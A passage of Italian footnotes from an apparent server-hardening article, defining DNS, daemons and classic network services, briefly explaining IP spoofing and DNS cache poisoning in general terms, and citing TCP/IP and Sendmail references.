(7) 32MB sono sufficienti per decine e decine di processi. Lo scopo del test è però di liberarsi di ogni orpello. Questo perché sono dell'idea che comunque un server di rete sia spesso configurato con 64MB.
(8) il DNS, o Domain Name Service, si occupa delle conversioni tra indirizzi numerici IP e letterali dei sistemi,e viceversa. Ad esempio, tra 111.222.222.111 e www.microsoft.com (questo non è il vero indirizzo ma sommato da 666 :P ). Inserendo nella cache del DNS dei dati alterati potremo sovvertire la sicurezza del sistema o implementare svariati DOS. Basti pensare alla possibilità di correlare il nostro IP ad un indirizzo ritenuto 'fidatò oppure ad uno inesistente per collegarsi dal 'nullà ...
(9) demone è quell'essere nascosto nell'ombra che risponde, quando evocato, alle nostre richieste. Analogamente un demone è quel servizio in background che risponde quando vengono richiesti da un cliente i suoi servigi.
(10) telnet = login su macchina remota
ftp = traferimento file
tftp = trasferimento senza autenticazione
rexecd = esecuzione remota di comandi
rsh = shell remota
portmapper = intermediario per chiamate remote di procedura (RPC)
sendmail = server posta elettronica
talk = chat remota
(11) questo richiederebbe un documento a parte. In parole povere si tratta della compromissione della sicurezza basata su indirizzi IP. L' attaccante maschera la sua macchina in modo da farla apparire come un diverso sistema, quello 'fidato', che ha accesso alle risorse interne della vittima. TCP (Transmission Control Protocol) e UDP (User Datagram Protocol) sono due diversi protocolli con diverse caratteristiche del sistema TCP/IP; il primo orientato alla connessione tra due macchine, con controllo dati e pacchetti. Il secondo no.
(12) CIFS è stato scritto da Hobbit@avian.org . Mette in luce problemi ed attacchi relativi alle condivisioni in 95 e NT.
(13) Security Problems in the TCP/IP protocol suite di S.M.Bellovin TCP/IP Illustrated Vol.1 di R.W.Stevens, ISBN 0-201-63346-9
(14) Sendmail, 2 edizione, ISBN 1-56592-222-0